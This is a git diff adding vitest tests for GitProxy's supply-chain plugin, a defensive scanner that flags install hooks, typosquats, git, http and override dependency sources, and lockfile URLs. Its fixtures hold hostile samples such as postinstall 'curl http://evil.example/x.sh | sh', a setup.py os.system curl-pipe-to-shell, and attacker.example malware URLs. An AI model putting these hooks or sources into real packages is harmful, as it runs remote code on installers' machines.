config = resolveConfig(); + +const pkg = (obj: object) => JSON.stringify(obj); + +const scanManifest = (next: object, prev: object | null = {}) => + analyzeNpm({ + path: 'package.json', + kind: 'manifest', + oldContent: prev === null ? null : pkg(prev), + newContent: pkg(next), + config, + }); + +const rules = (findings: { rule: string }[]) => findings.map((f) => f.rule); +const byRule = (findings: { rule: string }[], rule: string) => + findings.filter((f) => f.rule === rule); + +describe('npm analyzer - install scripts', () => { + it('flags a newly added postinstall hook as HIGH', () => { + const findings = scanManifest({ scripts: { postinstall: 'node ./setup.js' } }, {}); + const script = byRule(findings, 'install-script'); + expect(script).toHaveLength(1); + expect(script[0].severity).toBe('high'); + expect(script[0].title).toContain('added'); + }); + + it('escalates a dangerous postinstall (curl | sh) to CRITICAL', () => { + const findings = scanManifest( + { scripts: { postinstall: 'curl http://evil.example/x.sh | sh' } }, + {}, + ); + const script = byRule(findings, 'install-script'); + expect(script[0].severity).toBe('critical'); + expect(script[0].detail).toContain('pipes a downloaded payload'); + }); + + it('flags a modified install hook with the "modified" verb', () => { + const findings = scanManifest( + { scripts: { postinstall: 'node ./b.js' } }, + { scripts: { postinstall: 'node ./a.js' } }, + ); + const script = byRule(findings, 'install-script'); + expect(script).toHaveLength(1); + expect(script[0].title).toContain('modified'); + }); + + it('does not flag an unchanged benign lifecycle script', () => { + const findings = scanManifest( + { scripts: { postinstall: 'node ./same.js' } }, + { scripts: { postinstall: 'node ./same.js' } }, + ); + expect(byRule(findings, 'install-script')).toHaveLength(0); + }); + + it('still surfaces an unchanged but dangerous existing hook', () => { + const dangerous = "node -e \"require('child_process').exec('id')\""; + const findings = scanManifest( + { scripts: { preinstall: dangerous } }, + { scripts: { preinstall: dangerous } }, + ); + const script = byRule(findings, 'install-script'); + expect(script).toHaveLength(1); + expect(script[0].severity).toBe('high'); + expect(script[0].title).toContain('existing'); + }); + + it('ignores non-lifecycle scripts such as test/build', () => { + const findings = scanManifest({ scripts: { test: 'jest', build: 'tsc' } }, {}); + expect(byRule(findings, 'install-script')).toHaveLength(0); + }); +}); + +describe('npm analyzer - dependency sources', () => { + it('flags a newly added git-source dependency as HIGH', () => { + const findings = scanManifest( + { dependencies: { thing: 'git+https://github.com/x/thing.git' } }, + {}, + ); + const src = byRule(findings, 'non-registry-source'); + expect(src).toHaveLength(1); + expect(src[0].severity).toBe('high'); + expect(src[0].title).toContain('(git)'); + }); + + it('flags an http tarball and a github shorthand as non-registry sources', () => { + const findings = scanManifest( + { + dependencies: { + a: 'https://example.com/a.tgz', + b: 'user/repo#main', + }, + }, + {}, + ); + expect(byRule(findings, 'non-registry-source')).toHaveLength(2); + }); + + it('flags an unpinned/wildcard version as MEDIUM', () => { + const findings = scanManifest({ dependencies: { a: '*', b: 'latest' } }, {}); + const loose = byRule(findings, 'loose-version'); + expect(loose).toHaveLength(2); + expect(loose[0].severity).toBe('medium'); + }); + + it('does not flag a normal pinned registry dependency source', () => { + const findings = scanManifest({ dependencies: { lodash: '^4.17.21' } }, {}); + expect(byRule(findings, 'non-registry-source')).toHaveLength(0); + expect(byRule(findings, 'loose-version')).toHaveLength(0); + }); + + it('skips dependencies that are unchanged between old and new', () => { + const findings = scanManifest( + { dependencies: { lodash: '^4.17.21', 'git-dep': 'git+https://x/y.git' } }, + { dependencies: { lodash: '^4.17.21', 'git-dep': 'git+https://x/y.git' } }, + ); + expect(findings).toHaveLength(0); + }); +}); + +describe('npm analyzer - typosquats', () => { + it('flags a newly added typosquat of a popular package', () => { + const findings = scanManifest({ dependencies: { expresss: '^4.0.0' } }, {}); + const typo = byRule(findings, 'typosquat'); + expect(typo).toHaveLength(1); + expect(typo[0].severity).toBe('high'); + expect(typo[0].title).toContain('express'); + }); + + it('does not flag an exact popular package name', () => { + const findings = scanManifest({ dependencies: { express: '^4.0.0' } }, {}); + expect(byRule(findings, 'typosquat')).toHaveLength(0); + }); + + it('does not flag a clearly-unique internal package', () => { + const findings = scanManifest( + { dependencies: { 'acme-internal-widget-service': '^1.0.0' } }, + {}, + ); + expect(byRule(findings, 'typosquat')).toHaveLength(0); + }); + + it('respects allowPackages', () => { + const findings = analyzeNpm({ + path: 'package.json', + kind: 'manifest', + oldContent: pkg({}), + newContent: pkg({ dependencies: { expresss: '^4.0.0' } }), + config: resolveConfig({ allowPackages: ['expresss'] }), + }); + expect(byRule(findings, 'typosquat')).toHaveLength(0); + }); +}); + +describe('npm analyzer - aggregate + parsing', () => { + it('emits a single INFO listing newly added dependencies', () => { + const findings = scanManifest( + { dependencies: { a: '^1.0.0', b: '^2.0.0' }, devDependencies: { c: '^3.0.0' } }, + { dependencies: { a: '^1.0.0' } }, + ); + const info = byRule(findings, 'new-dependencies'); + expect(info).toHaveLength(1); + expect(info[0].severity).toBe('info'); + expect(info[0].detail).toContain('b'); + expect(info[0].detail).toContain('c'); + expect(info[0].detail).not.toContain('a (dependencies)'); + }); + + it('reports unparseable package.json as LOW without throwing', () => { + const findings = analyzeNpm({ + path: 'package.json', + kind: 'manifest', + oldContent: null, + newContent: '{ not valid json ', + config, + }); + expect(rules(findings)).toContain('unparseable-manifest'); + expect(findings[0].severity).toBe('low'); + }); + + it('treats a missing old version as an entirely new manifest', () => { + const findings = scanManifest({ scripts: { postinstall: 'node x.js' } }, null); + expect(byRule(findings, 'install-script')).toHaveLength(1); + }); +}); + +describe('npm analyzer - non-registry source variants (review hardening)', () => { + it('flags scp-style SSH shorthand git dependencies', () => { + const findings = scanManifest( + { dependencies: { evil: 'git@github.com:attacker/malware.git' } }, + {}, + ); + const src = byRule(findings, 'non-registry-source'); + expect(src).toHaveLength(1); + expect(src[0].title).toContain('(git)'); + }); + + it('flags ssh:// git dependencies', () => { + const findings = scanManifest( + { dependencies: { evil: 'ssh://git@github.com/attacker/malware.git' } }, + {}, + ); + expect(byRule(findings, 'non-registry-source')).toHaveLength(1); + }); + + it('flags a git source forced via yarn resolutions', () => { + const findings = scanManifest( + { resolutions: { lodash: 'git+https://attacker.example/malware.git' } }, + {}, + ); + const src = byRule(findings, 'override-source'); + expect(src).toHaveLength(1); + expect(src[0].severity).toBe('high'); + expect(src[0].title).toContain('resolutions'); + }); + + it('flags a git source forced via nested npm overrides', () => { + const findings = scanManifest( + { overrides: { foo: { '.': '1.0.0', bar: 'git+ssh://git@x/y.git' } } }, + {}, + ); + const src = byRule(findings, 'override-source'); + expect(src).toHaveLength(1); + expect(src[0].detail).toContain('foo/bar'); + }); + + it('flags a git source forced via pnpm.overrides', () => { + const findings = scanManifest( + { pnpm: { overrides: { 'a>b': 'https://attacker.example/b.tgz' } } }, + {}, + ); + expect(byRule(findings, 'override-source')).toHaveLength(1); + }); + + it('does not flag unchanged override entries', () => { + const prev = { resolutions: { lodash: 'git+https://x/y.git' } }; + const findings = scanManifest({ resolutions: { lodash: 'git+https://x/y.git' } }, prev); + expect(byRule(findings, 'override-source')).toHaveLength(0); + }); +}); + +describe('npm analyzer - lockfiles', () => { + const scanLock = (path: string, next: string, prev: string | null = null) => + analyzeNpm({ path, kind: 'lockfile', oldContent: prev, newContent: next, config }); + + it('flags a newly added off-registry resolved url as MEDIUM', () => { + const findings = scanLock( + 'package-lock.json', + '{ "packages": { "node_modules/x": { "resolved": "https://evil.example.com/x.tgz" } } }', + ); + const off = byRule(findings, 'lockfile-offregistry-source'); + expect(off).toHaveLength(1); + expect(off[0].severity).toBe('medium'); + }); + + it('flags a git source and a plain-http source as HIGH', () => { + const findings = scanLock( + 'yarn.lock', + 'a:\n resolved "git+https://github.com/x/y.git#abc"\nb:\n resolved "http://insecure.example.com/b.tgz"\n', + ); + expect(byRule(findings, 'lockfile-git-source')).toHaveLength(1); + expect(byRule(findings, 'lockfile-insecure-source')).toHaveLength(1); + }); + + it('does not flag official-registry resolved urls', () => { + const findings = scanLock( + 'package-lock.json', + '{ "packages": { "node_modules/lodash": { "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz" } } }', + ); + expect(findings).toHaveLength(0); + }); + + it('does not re-flag a resolved url that was already present', () => { + const url = 'https://evil.example.com/x.tgz'; + const content = `{ "packages": { "node_modules/x": { "resolved": "${url}" } } }`; + const findings = scanLock('package-lock.json', content, content); + expect(findings).toHaveLength(0); + }); + + it('flags pnpm unquoted tarball scalars (off-registry)', () => { + const findings = scanLock( + 'pnpm-lock.yaml', + ' /foo@1.0.0:\n resolution: {tarball: https://evil.example.com/foo.tgz}\n', + ); + expect(byRule(findings, 'lockfile-offregistry-source')).toHaveLength(1); + }); + + it('flags pnpm unquoted git url scalars', () => { + const findings = scanLock( + 'pnpm-lock.yaml', + ' /foo@1.0.0:\n resolution: {type: git, url: git+https://github.com/attacker/malware.git}\n', + ); + expect(byRule(findings, 'lockfile-git-source')).toHaveLength(1); + }); + + it('does not flag pnpm registry entries (integrity only, no url)', () => { + const findings = scanLock( + 'pnpm-lock.yaml', + ' /lodash@4.17.21:\n resolution: {integrity: sha512-abc123==}\n', + ); + expect(findings).toHaveLength(0); + }); +}); diff --git a/test/plugins/supply-chain/python.test.ts b/test/plugins/supply-chain/python.test.ts new file mode 100644 index 000000000..7ebee0bc7 --- /dev/null +++ b/test/plugins/supply-chain/python.test.ts @@ -0,0 +1,175 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { analyzePython } from '../../../plugins/git-proxy-plugin-supply-chain/lib/ecosystems/python.js'; +import { resolveConfig } from '../../../plugins/git-proxy-plugin-supply-chain/lib/config.js'; + +const config = resolveConfig(); + +const scan = ( + path: string, + kind: string, + newContent: string | null, + oldContent: string | null = null, +) => analyzePython({ path, kind, oldContent, newContent, config }); + +const byRule = (findings: { rule: string }[], rule: string) => + findings.filter((f) => f.rule === rule); + +describe('python analyzer - setup.py', () => { + it('flags an added setup.py as HIGH (arbitrary code at build time)', () => { + const findings = scan( + 'setup.py', + 'manifest', + 'from setuptools import setup\nsetup(name="x")\n', + ); + const s = byRule(findings, 'python-setup-script'); + expect(s).toHaveLength(1); + expect(s[0].severity).toBe('high'); + expect(s[0].title).toContain('added'); + }); + + it('escalates a setup.py with os.system/network to CRITICAL', () => { + const findings = scan( + 'setup.py', + 'manifest', + 'import os\nos.system("curl http://evil/x | sh")\n', + ); + expect(byRule(findings, 'python-setup-script')[0].severity).toBe('critical'); + }); + + it('marks a modified setup.py', () => { + const findings = scan( + 'setup.py', + 'manifest', + 'from setuptools import setup\nsetup(name="x", version="2")\n', + 'from setuptools import setup\nsetup(name="x", version="1")\n', + ); + expect(byRule(findings, 'python-setup-script')[0].title).toContain('modified'); + }); +}); + +describe('python analyzer - requirements.txt', () => { + it('flags --extra-index-url as HIGH (dependency confusion)', () => { + const findings = scan( + 'requirements.txt', + 'manifest', + '--extra-index-url https://internal.example/simple\nflask==2.0.0\n', + ); + const idx = byRule(findings, 'python-index-url'); + expect(idx).toHaveLength(1); + expect(idx[0].severity).toBe('high'); + }); + + it('flags --index-url as MEDIUM', () => { + const findings = scan( + 'requirements.txt', + 'manifest', + '--index-url https://internal.example/simple\n', + ); + expect(byRule(findings, 'python-index-url')[0].severity).toBe('medium'); + }); + + it('flags vcs/url/editable installs as non-registry sources', () => { + const findings = scan( + 'requirements.txt', + 'manifest', + 'git+https://github.com/a/b.git#egg=b\n-e https://example.com/pkg.tar.gz\nfoo @ https://example.com/foo.whl\n', + ); + expect(byRule(findings, 'python-non-registry-source')).toHaveLength(3); + }); + + it('flags an unpinned requirement as LOW but not a pinned one', () => { + const findings = scan('requirements.txt', 'manifest', 'flask\nrequests==2.31.0\n'); + const loose = byRule(findings, 'python-unpinned'); + expect(loose).toHaveLength(1); + expect(loose[0].title).toContain('flask'); + }); + + it('flags a typosquatted requirement', () => { + const findings = scan('requirements.txt', 'manifest', 'requsts==2.31.0\n'); + const typo = byRule(findings, 'typosquat'); + expect(typo).toHaveLength(1); + expect(typo[0].title).toContain('requests'); + }); + + it('ignores comments and only scans newly added lines', () => { + const findings = scan( + 'requirements.txt', + 'manifest', + '# a comment\nflask==2.0.0\ngit+https://evil/x.git\n', + 'flask==2.0.0\n', + ); + // flask is unchanged; only the git line is new + expect(byRule(findings, 'python-non-registry-source')).toHaveLength(1); + expect(byRule(findings, 'python-unpinned')).toHaveLength(0); + }); +}); + +describe('python analyzer - pyproject.toml / Pipfile', () => { + it('flags a custom package index source', () => { + const findings = scan( + 'pyproject.toml', + 'manifest', + '[[tool.poetry.source]]\nname = "internal"\nurl = "https://internal.example/simple"\n', + ); + expect(byRule(findings, 'python-custom-index')).toHaveLength(1); + }); + + it('flags an inline git dependency source', () => { + const findings = scan( + 'pyproject.toml', + 'manifest', + 'mylib = { git = "https://github.com/attacker/mylib.git" }\n', + ); + expect(byRule(findings, 'python-non-registry-source')).toHaveLength(1); + }); + + it('flags a PEP 508 direct url reference', () => { + const findings = scan( + 'pyproject.toml', + 'manifest', + 'dependencies = ["mylib @ https://example.com/mylib.whl"]\n', + ); + expect(byRule(findings, 'python-non-registry-source')).toHaveLength(1); + }); +}); + +describe('python analyzer - lockfiles', () => { + it('flags a git source in poetry.lock', () => { + const findings = scan( + 'poetry.lock', + 'lockfile', + '[package.source]\ntype = "git"\nurl = "git+https://github.com/attacker/x.git"\n', + ); + expect(byRule(findings, 'python-lockfile-git-source')).toHaveLength(1); + }); + + it('flags a plain-http source in a lockfile', () => { + const findings = scan('poetry.lock', 'lockfile', 'url = "http://insecure.example/x.whl"\n'); + expect(byRule(findings, 'python-lockfile-insecure-source')).toHaveLength(1); + }); + + it('does not flag the official index host', () => { + const findings = scan( + 'poetry.lock', + 'lockfile', + 'url = "https://files.pythonhosted.org/packages/xx/pkg.whl"\n', + ); + expect(findings).toHaveLength(0); + }); +}); diff --git a/test/plugins/supply-chain/tree.test.ts b/test/plugins/supply-chain/tree.test.ts new file mode 100644 index 000000000..cc4b1826a --- /dev/null +++ b/test/plugins/supply-chain/tree.test.ts @@ -0,0 +1,86 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { manifestPathsFromTree } from '../../../plugins/git-proxy-plugin-supply-chain/lib/tree.js'; +import { analyzeChangedFiles } from '../../../plugins/git-proxy-plugin-supply-chain/lib/analyze.js'; +import { resolveConfig } from '../../../plugins/git-proxy-plugin-supply-chain/lib/config.js'; + +describe('manifestPathsFromTree', () => { + it('keeps only recognised manifests, dedups, marks not-deleted', () => { + const files = manifestPathsFromTree([ + 'package.json', + 'src/index.js', + 'svc/requirements.txt', + 'README.md', + 'setup.py', + 'package.json', + ]); + expect(files.map((f) => f.path).sort()).toEqual([ + 'package.json', + 'setup.py', + 'svc/requirements.txt', + ]); + expect(files.every((f) => f.deleted === false)).toBe(true); + }); + + it('handles empty and non-array input', () => { + expect(manifestPathsFromTree([])).toEqual([]); + // @ts-expect-error deliberately wrong type + expect(manifestPathsFromTree(null)).toEqual([]); + }); +}); + +describe('whole-tree scan (pull semantics: old = null)', () => { + it('flags a poisoned cloned tree as newly introduced', async () => { + const contents: Record = { + 'package.json': JSON.stringify({ + scripts: { postinstall: 'curl http://198.51.100.4/x.sh | sh' }, + dependencies: { expresss: '^4.0.0' }, + }), + 'setup.py': 'import os\nos.system("id")\n', + }; + const files = manifestPathsFromTree(Object.keys(contents)); + const readFile = async (p: string, rev: 'old' | 'new') => + rev === 'old' ? null : (contents[p] ?? null); + + const { findings, maxSeverity } = await analyzeChangedFiles({ + files, + readFile, + config: resolveConfig(), + }); + const rules = findings.map((f) => f.rule); + + expect(maxSeverity).toBe('critical'); + expect(rules).toContain('install-script'); + expect(rules).toContain('typosquat'); + expect(rules).toContain('python-setup-script'); + }); + + it('produces no findings for a clean tree', async () => { + const contents: Record = { + 'package.json': JSON.stringify({ dependencies: { react: '^18.0.0' } }), + 'requirements.txt': 'requests==2.31.0\n', + }; + const files = manifestPathsFromTree(Object.keys(contents)); + const readFile = async (p: string, rev: 'old' | 'new') => + rev === 'old' ? null : (contents[p] ?? null); + + const { findings } = await analyzeChangedFiles({ files, readFile, config: resolveConfig() }); + // Only the informational "new dependencies" listing is acceptable here. + expect(findings.filter((f) => f.severity !== 'info')).toEqual([]); + }); +}); diff --git a/test/plugins/supply-chain/typosquat.test.ts b/test/plugins/supply-chain/typosquat.test.ts new file mode 100644 index 000000000..8be5403dd --- /dev/null +++ b/test/plugins/supply-chain/typosquat.test.ts @@ -0,0 +1,104 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { describe, it, expect } from 'vitest'; +import { + levenshtein, + nearestPopular, + nearestPopularPython, +} from '../../../plugins/git-proxy-plugin-supply-chain/lib/typosquat.js'; +import { nearestPopularGo } from '../../../plugins/git-proxy-plugin-supply-chain/lib/ecosystems/go.js'; + +describe('levenshtein', () => { + it('computes edit distance', () => { + expect(levenshtein('express', 'express')).toBe(0); + expect(levenshtein('expresss', 'express')).toBe(1); + expect(levenshtein('lodahs', 'lodash')).toBe(2); + expect(levenshtein('', 'abc')).toBe(3); + }); +}); + +describe('nearestPopular', () => { + it('flags a one-edit typosquat', () => { + expect(nearestPopular('expresss')).toBe('express'); + expect(nearestPopular('reqeust')).toBe('request'); + }); + + it('does not flag exact popular names', () => { + expect(nearestPopular('express')).toBeNull(); + expect(nearestPopular('react')).toBeNull(); + }); + + it('unscopes before comparing', () => { + // exact popular name under a foreign scope is not a typo (handled separately) + expect(nearestPopular('@acme/express')).toBeNull(); + // a typo under a scope is still flagged + expect(nearestPopular('@acme/expresss')).toBe('express'); + }); + + it('ignores very short names to avoid noise', () => { + expect(nearestPopular('ab')).toBeNull(); + expect(nearestPopular('pg')).toBeNull(); + }); + + it('honours the allow list', () => { + expect(nearestPopular('expresss', ['expresss'])).toBeNull(); + }); + + it('does not flag clearly-distinct names', () => { + expect(nearestPopular('acme-internal-widget')).toBeNull(); + }); +}); + +describe('nearestPopularPython', () => { + it('flags a PyPI typosquat and ignores exact/unique names', () => { + expect(nearestPopularPython('requsts')).toBe('requests'); + expect(nearestPopularPython('requests')).toBeNull(); + expect(nearestPopularPython('acme-internal-service')).toBeNull(); + }); +}); + +describe('nearestPopularGo', () => { + it('does not flag exact popular Go module paths', () => { + expect(nearestPopularGo('github.com/stretchr/testify')).toBeNull(); + }); + + it('strips semantic import version suffixes before comparing', () => { + expect(nearestPopularGo('github.com/golang-jwt/jwt/v5')).toBeNull(); + }); + + it('strips gopkg.in dotted version suffixes before comparing', () => { + expect(nearestPopularGo('gopkg.in/yaml.v3')).toBeNull(); + }); + + it('flags host typos against popular Go modules', () => { + expect(nearestPopularGo('githib.com/stretchr/testify')).toBe('github.com/stretchr/testify'); + }); + + it('flags tail typos against popular Go modules', () => { + expect(nearestPopularGo('github.com/strechr/testify')).toBe('github.com/stretchr/testify'); + }); + + it('honours the allow list for full module paths', () => { + expect( + nearestPopularGo('github.com/strechr/testify', ['github.com/strechr/testify']), + ).toBeNull(); + }); + + it('does not flag distinct internal module paths', () => { + expect(nearestPopularGo('git.corp.example/team/lib')).toBeNull(); + }); +}); diff --git a/test/testProxyRoute.test.ts b/test/testProxyRoute.test.ts index 32f720015..4efd296ab 100644 --- a/test/testProxyRoute.test.ts +++ b/test/testProxyRoute.test.ts @@ -27,6 +27,7 @@ import { validGitRequest, getRouter, handleRefsErrorMessage, + handleErrPacket, proxyFilter, } from '../src/proxy/routes'; @@ -292,6 +293,21 @@ describe('handleRefsErrorMessage', () => { }); }); +describe('handleErrPacket', () => { + it('should format an ERR packet whose length includes the trailing LF', () => { + const message = 'Clone blocked by supply-chain checks'; + const result = handleErrPacket(message); + + expect(result).toMatch(/^[0-9a-f]{4}ERR /); + expect(result.endsWith('0000')).toBe(true); + + const length = parseInt(result.substring(0, 4), 16); + expect(length).toBe(4 + Buffer.byteLength(`ERR ${message}\n`)); + // the packet is self-delimiting: header length spans exactly up to the flush pkt + expect(result.length).toBe(length + 4); + }); +}); + describe('proxyFilter', () => { let mockReq: Partial; let mockRes: Partial; @@ -573,6 +589,31 @@ describe('proxyFilter', () => { // eslint-disable-next-line no-control-regex expect(sentMessage).toMatch(/^[0-9a-f]{4}\x02/); }); + + it('should send an upload-pack ERR packet for blocked pull/fetch POSTs', async () => { + mockReq.method = 'POST'; + mockReq.url = '/github.com/finos/git-proxy.git/git-upload-pack'; + + vi.spyOn(helper, 'processUrlPath').mockReturnValue({ + gitPath: '/finos/git-proxy.git/git-upload-pack', + repoPath: 'github.com', + }); + vi.spyOn(helper, 'validGitRequest').mockReturnValue(true); + + vi.spyOn(chain, 'executeChain').mockResolvedValue({ + error: true, + blocked: false, + errorMessage: 'Clone blocked by supply-chain checks', + } as Action); + + const result = await proxyFilter?.(mockReq as Request, mockRes as Response); + + expect(result).toBe(false); + expect(setMock).toHaveBeenCalledWith('content-type', 'application/x-git-upload-pack-result'); + const sentMessage = sendMock.mock.calls[0][0]; + expect(sentMessage).toMatch(/^[0-9a-f]{4}ERR /); + expect(sentMessage).toContain('Clone blocked by supply-chain checks'); + }); }); describe('Different git operations', () => {